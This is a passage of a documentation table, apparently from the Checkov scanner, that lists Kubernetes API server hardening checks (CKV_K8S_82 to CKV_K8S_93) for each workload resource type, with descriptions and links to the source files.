CKV_K8S_82 | resource | CronJob | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7260 | CKV_K8S_82 | resource | DaemonSet | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7261 | CKV_K8S_82 | resource | Deployment | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7262 | CKV_K8S_82 | resource | DeploymentConfig | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7263 | CKV_K8S_82 | resource | Job | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7264 | CKV_K8S_82 | resource | Pod | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7265 | CKV_K8S_82 | resource | PodTemplate | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7266 | CKV_K8S_82 | resource | ReplicaSet | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7267 | CKV_K8S_82 | resource | ReplicationController | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7268 | CKV_K8S_82 | resource | StatefulSet | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 7269 | CKV_K8S_83 | resource | CronJob | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7270 | CKV_K8S_83 | resource | DaemonSet | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7271 | CKV_K8S_83 | resource | Deployment | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7272 | CKV_K8S_83 | resource | DeploymentConfig | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7273 | CKV_K8S_83 | resource | Job | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7274 | CKV_K8S_83 | resource | Pod | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7275 | CKV_K8S_83 | resource | PodTemplate | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7276 | CKV_K8S_83 | resource | ReplicaSet | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7277 | CKV_K8S_83 | resource | ReplicationController | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7278 | CKV_K8S_83 | resource | StatefulSet | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 7279 | CKV_K8S_84 | resource | CronJob | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7280 | CKV_K8S_84 | resource | DaemonSet | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7281 | CKV_K8S_84 | resource | Deployment | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7282 | CKV_K8S_84 | resource | DeploymentConfig | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7283 | CKV_K8S_84 | resource | Job | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7284 | CKV_K8S_84 | resource | Pod | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7285 | CKV_K8S_84 | resource | PodTemplate | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7286 | CKV_K8S_84 | resource | ReplicaSet | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7287 | CKV_K8S_84 | resource | ReplicationController | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7288 | CKV_K8S_84 | resource | StatefulSet | Ensure that the admission control plugin PodSecurityPolicy is set | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py) | | 7289 | CKV_K8S_85 | resource | CronJob | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7290 | CKV_K8S_85 | resource | DaemonSet | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7291 | CKV_K8S_85 | resource | Deployment | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7292 | CKV_K8S_85 | resource | DeploymentConfig | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7293 | CKV_K8S_85 | resource | Job | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7294 | CKV_K8S_85 | resource | Pod | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7295 | CKV_K8S_85 | resource | PodTemplate | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7296 | CKV_K8S_85 | resource | ReplicaSet | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7297 | CKV_K8S_85 | resource | ReplicationController | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7298 | CKV_K8S_85 | resource | StatefulSet | Ensure that the admission control plugin NodeRestriction is set | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py) | | 7299 | CKV_K8S_86 | resource | CronJob | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7300 | CKV_K8S_86 | resource | DaemonSet | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7301 | CKV_K8S_86 | resource | Deployment | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7302 | CKV_K8S_86 | resource | DeploymentConfig | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7303 | CKV_K8S_86 | resource | Job | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7304 | CKV_K8S_86 | resource | Pod | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7305 | CKV_K8S_86 | resource | PodTemplate | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7306 | CKV_K8S_86 | resource | ReplicaSet | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7307 | CKV_K8S_86 | resource | ReplicationController | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7308 | CKV_K8S_86 | resource | StatefulSet | Ensure that the --insecure-bind-address argument is not set | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py) | | 7309 | CKV_K8S_88 | resource | CronJob | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7310 | CKV_K8S_88 | resource | DaemonSet | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7311 | CKV_K8S_88 | resource | Deployment | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7312 | CKV_K8S_88 | resource | DeploymentConfig | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7313 | CKV_K8S_88 | resource | Job | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7314 | CKV_K8S_88 | resource | Pod | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7315 | CKV_K8S_88 | resource | PodTemplate | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7316 | CKV_K8S_88 | resource | ReplicaSet | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7317 | CKV_K8S_88 | resource | ReplicationController | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7318 | CKV_K8S_88 | resource | StatefulSet | Ensure that the --insecure-port argument is set to 0 | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py) | | 7319 | CKV_K8S_89 | resource | CronJob | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7320 | CKV_K8S_89 | resource | DaemonSet | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7321 | CKV_K8S_89 | resource | Deployment | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7322 | CKV_K8S_89 | resource | DeploymentConfig | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7323 | CKV_K8S_89 | resource | Job | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7324 | CKV_K8S_89 | resource | Pod | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7325 | CKV_K8S_89 | resource | PodTemplate | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7326 | CKV_K8S_89 | resource | ReplicaSet | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7327 | CKV_K8S_89 | resource | ReplicationController | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7328 | CKV_K8S_89 | resource | StatefulSet | Ensure that the --secure-port argument is not set to 0 | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py) | | 7329 | CKV_K8S_90 | resource | CronJob | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7330 | CKV_K8S_90 | resource | DaemonSet | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7331 | CKV_K8S_90 | resource | Deployment | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7332 | CKV_K8S_90 | resource | DeploymentConfig | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7333 | CKV_K8S_90 | resource | Job | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7334 | CKV_K8S_90 | resource | Pod | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7335 | CKV_K8S_90 | resource | PodTemplate | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7336 | CKV_K8S_90 | resource | ReplicaSet | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7337 | CKV_K8S_90 | resource | ReplicationController | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7338 | CKV_K8S_90 | resource | StatefulSet | Ensure that the --profiling argument is set to false | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py) | | 7339 | CKV_K8S_91 | resource | CronJob | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7340 | CKV_K8S_91 | resource | DaemonSet | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7341 | CKV_K8S_91 | resource | Deployment | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7342 | CKV_K8S_91 | resource | DeploymentConfig | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7343 | CKV_K8S_91 | resource | Job | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7344 | CKV_K8S_91 | resource | Pod | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7345 | CKV_K8S_91 | resource | PodTemplate | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7346 | CKV_K8S_91 | resource | ReplicaSet | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7347 | CKV_K8S_91 | resource | ReplicationController | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7348 | CKV_K8S_91 | resource | StatefulSet | Ensure that the --audit-log-path argument is set | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py) | | 7349 | CKV_K8S_92 | resource | CronJob | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7350 | CKV_K8S_92 | resource | DaemonSet | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7351 | CKV_K8S_92 | resource | Deployment | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7352 | CKV_K8S_92 | resource | DeploymentConfig | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7353 | CKV_K8S_92 | resource | Job | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7354 | CKV_K8S_92 | resource | Pod | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7355 | CKV_K8S_92 | resource | PodTemplate | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7356 | CKV_K8S_92 | resource | ReplicaSet | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7357 | CKV_K8S_92 | resource | ReplicationController | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7358 | CKV_K8S_92 | resource | StatefulSet | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py) | | 7359 | CKV_K8S_93 | resource | CronJob | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7360 | CKV_K8S_93 | resource | DaemonSet | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7361 | CKV_K8S_93 | resource | Deployment | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7362 | CKV_K8S_93 | resource | DeploymentConfig | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7363 | CKV_K8S_93 | resource | Job | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7364 | CKV_K8S_93 | resource | Pod | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7365 | CKV_K8S_93 | resource | PodTemplate | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7366 | CKV_K8S_93 | resource | ReplicaSet | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7367 | CKV_K8S_93 | resource | ReplicationController | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7368 | CKV_K8S_93 | resource | StatefulSet | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py) | | 7369 | CKV_K8S_94 | resource | CronJob | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate | Kubernetes | 